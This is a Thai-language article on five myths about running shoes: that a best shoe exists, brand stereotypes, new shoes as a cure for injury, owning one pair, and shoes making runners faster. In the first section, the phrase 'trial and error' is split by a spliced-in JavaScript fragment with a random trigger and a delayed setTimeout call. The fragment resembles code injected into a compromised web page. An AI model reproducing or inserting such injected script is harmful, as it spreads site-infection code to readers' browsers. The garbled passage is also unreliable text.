รองเท้าวิ่งถูกออกแบบให้มาใช้งานในรูปแบบที่แตกต่างกัน ตามลักษณะการวิ่ง ตามสรีระร่างกายของผู้สวมใสและลักษณะพื้นผิว ไม่มีคู่ไหนที่เป็นรองเท้าที่ดีที่สุด สามารถเข้าได้กับทุกคน และมีบางคนยังเข้าใจผิดเรื่องรองเท้ากันอยู่ แล้วเรื่องอะไรบ้างเรามาดูกัน….
เชื่อได้ไหม…กับ5 ความเชื่อคู่รองเท้าวิ่ง
1. สุดยอดรองเท้ามีอยู่จริง…!?
ในปัจจุบันมีรองเท้าวิ่งรุ่นไหน ยี่ห้อไหนถือว่าเป็นสุดยอดที่สุด รุ่นไหนเป็นรองเท้าวิ่งสุดยอดแห่งไตรมาศ แห่งปีและได้เรทเท่าไหร่ 4 ดาวหรือ 5 ดาว ทุกคนเห็นด้วยไหม มีคนกด Like หรือกดไม่เห็นด้วยเท่าไหร่
ดีที่สุดของเขาจะดีที่สุดของเราหรือเปล่า….เป็นคำตอบที่ต้องใช้สติสู้กับอารมณ์รวมของมวลชน
รองเท้าวิ่งแต่ละรุ่นแต่ละยี่ห้อ ออกแบบมาให้ใช้งานต่างกันและเหมาะกับคนใส่ต่างกัน แต่ละรุ่นมีจุดประสงค์ให้ถูกออกแบบให้เหมาะกับรูปทรงฝ่าเท้า ลักษณะ Stride และรูปแบบ posture ของนักวิ่งแต่ละประเภทและแต่ละสภาวะการใช้งาน
คำว่า Editor’s choice หรือได้คะแนน 5 ดาว อาจจะเหมาะกับผู้รีวิว แต่ไม่เหมาะหับคุณก็ได้ ลองจินตนาการดูว่าลักษณะรูปร่างและการวิ่งของคุณกับคนรีวิวเหมือนกันไหม
ดังนั้นไม่มีรองเท้ารุ่นไหนที่สามารถเหมาะกับนักวิ่งทุกคน นักวิ่งกว่าจะหารองเท้าที่เหมาะกับตัวเองได้ต้องใช้วิธี trialandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and error ลองผิดลองถูกกันเอาเอง แต่การเลือกรองเท้าสามารถจัดกลุ่มได้ อย่างเช่น กลุ่มวิ่งซ้อมทั่วไปที่มีสำหรับวิ่งระยะสั้น ระยะยาว และรองเท้าวิ่งแข่งขันแบบเบา เป็นต้น
2. รองเท้ายี่ห้อนั้นต้องเป็นอย่างนี้ ยี่ห้อนี้ต้องเป็นอย่างนั้น
คุณคิดว่ามันมี Stereotype ของรองเท้าอยู่ใช่ไหม ยี่ห้อรองเท้าหนึ่งเวลาผลิตออกมา ก็จะมีคุณภาพที่คาดการณ์ได้เลย ถ้าคุณใส่แต่รองเท้ายี่ห้อ A ตลอดเวลา และเพื่อนคุณแนะนำหรือให้คอมเมนต์เกี่ยวกับรองเท้า B ในด้านบวก คุณก็อาจจะทดลองใช้ดู แต่ถ้าให้คอมเมนต์ด้านลบ มันก็จะกลายเป็นภาพลบฝั่งใจ ไม่เชื่อมั่นในคุณภาพรองเท้า B หรือจะเป็นคำโฆษณา การตลาดที่ทำให้เรารู้สึกไปเอง รองเท้าที่ทำการตลาดบ่อยจะดูมีคุณภาพมากกว่ารองเท้าที่ไม่ทำการตลาดหรือไม่
รองเท้าแต่ละยี่ห้อมีหลายรุ่นมาก แต่ละรุ่นก็ผลิตมาเพื่อนักวิ่งแต่ละแบบ อย่างรองเท้าแบบ Motion control สำหรับคนเท้าเว้าสูงและรองเท้าสำหรับคนเท้าแบบ รองเท้า Zero drop สำหรับนักวิ่งสาย performance ที่ต้องการความเร็วและรองเท้าที่มี Support โฟมแยะๆ สำหรับคนมีน้ำหนักและมีอาการปวดข้อเข่า เป็นต้น
ดังนั้นรองเท้าแต่ละยี่ห้อ แต่ละรุ่น จะถูกออกแบบและใช้วัสดุที่แต่ต่างกันไป ซึ่งทำให้อายุการใช้งาน ความฟิตเข้ากับรูปเท้าต่างกัน ถูกจริตท่าวิ่งและการลงเท้าของเรา รองเท้าที่ไม่ดี ไม่ใช่ว่าแบรนด์นี้ไม่ดี แค่มันรุ่นนี้มันไม่เหมาะกับเรา
3. เปลี่ยนรองเท้าวิ่งใหม่คือยาแก้
เวลาวิ่งแล้วมีอาการปวดเมื่อยกล้ามเนื้อ มีอาการปวดเกิดขึ้นบริเวณช่วงเท้า น่องและหัวเข่า แล้วคิดว่าการเปลี่ยนรองเท้าวิ่งใหม่จะแก้ปัญหาได้….ก็อาจจะแก้ได้บ้างและไม่ได้บ้าง เพราะอาการบาดเจ็บเกิดขึ้นได้หลายสาเหตุ อย่างเช่น ระบบกล้ามเนื้อที่ยังไม่พัฒนาพร้อมรับกับ Workload หรืออยู่ในช่วงพัฒนา นักวิ่งมี Posture ท่าวิ่งที่ผิดลักษณะ ขาดการพักผ่อน (recovery) ไซด์รองเท้าไม่เหมาะหรือรองเท้าเสื่อมคุณภาพ หมดอายุการใช้งานจริง เราวิ่งได้เป็น 200-300 กิโลเมตรแล้ว เป็นต้น
ดังนั้นเวลาที่เกิดอาการบาดเจ็บให้ลองวิเคราะห์ต้นเหตุอย่างอื่นนอกเหนือจากการเปลี่ยนรองเท้าใหม่ดูก่อน อย่าเพิ่งฟันธงว่ามันเป็นเพราะรองเท้าวิ่งอย่างเดียว
4. มันเกิดมาเพื่อฉัน
เวลาที่เราเจอรองเท้าคู่ที่ถูกใจและเข้ากับการวิ่งเราได้ดี เรามักจะซื้อยี่ห้อนี้และรุ่นนี้ไปตลอด แต่รู้หรือไม่ นักวิ่งไม่ควรมีรองเท้าวิ่ง 1 คู่หรือมีรองเท้ายี่ห้อเดียวหรือรุ่นเดียว นักวิ่งควรมีรองเท้าไว้ฝึกวิ่งมากกว่า 1 คู่ เพราะการใส่คู่เดิมๆ จะทำให้กล้ามเนื้อเดิมๆ ถูกใช้งานซ้ำๆ และพอนานเข้าก็จะเกิดอาการบาดเจ็บได้
เพราะรองเท้าแต่ละยี่ห้อแต่ละรุ่นมีการออกแบบมาไม่เหมือนกัน การมีรองเท้าคู่ใหม่อีกหนึ่งคู่ จะทำให้มัดกล้ามเนื้อชุดอื่นได้ใช้งานเพิ่มขึ้น มีการสลับเปลี่ยนมัดกล้ามเนื้อ ทำให้เราได้พัฒนาการวิ่งใหม่ๆ และมี feeling ระหว่างการวิ่งที่หลากหลายไม่น่าเบื่อ ช่วยกระตุ้นแรงจูงใจในการวิ่งได้อย่างดี
5. รองเท้าทำให้วิ่งเร็วขึ้น
เป็นความเชื่อที่อยู่กับนักวิ่งมายาวนานที่สุด และบอกได้ว่าจริงแค่บางส่วน รองเท้าวิ่งประเภท race shoe จะมีน้ำหนักเบากว่ารองเท้าวิ่งซ้อมทั่วไป ช่วยลดน้ำหนักที่เราต้องแบกไประหว่างวิ่ง ถือว่าเป็นข้อได้เปรียบ น้ำหนักน้อยลงก็ใช้พลังงานในการขับเคลื่อนน้อยลง แต่แค่หนักต่างกันไม่กี่กรัม จะมีผลเป็นนัยสำคัญ สามารถสร้างการเปลี่ยนแปลงได้เป็น 10% หรือมากกว่า 20% หรือไม่ สำหรับคนทั่วไปก็ตอบเลยว่าไม่ แต่สำหรับนักแข่งขัน เสี้ยววนาทีคือการตัดสินชัยชนะ
ดังนั้นรองเท้าที่ดีจะช่วยสร้างความมั่นใจให้นักวิ่ง ช่วยป้องกันฝ่าเท้า ไม่รบกวนจังหวะการวิ่งการ stride ของคุณ แต่พลังงานขับเคลื่อนหลักก็ยังมาจากมัดกล้ามเนื้อ ปอด หัวใจ เทคนิค การฝึกซ้อมและความฟิตของคุณเป็นหลัก ถ้าคุณไม่ใช้นักวิ่งประเภท Elite หรือนักวิ่งมืออาชีพ การเปลี่ยนรองเท้าใหม่ก็มาได้สร้างความแต่ต่างให้ performance
อ้างอิงwww.runnersworld.com
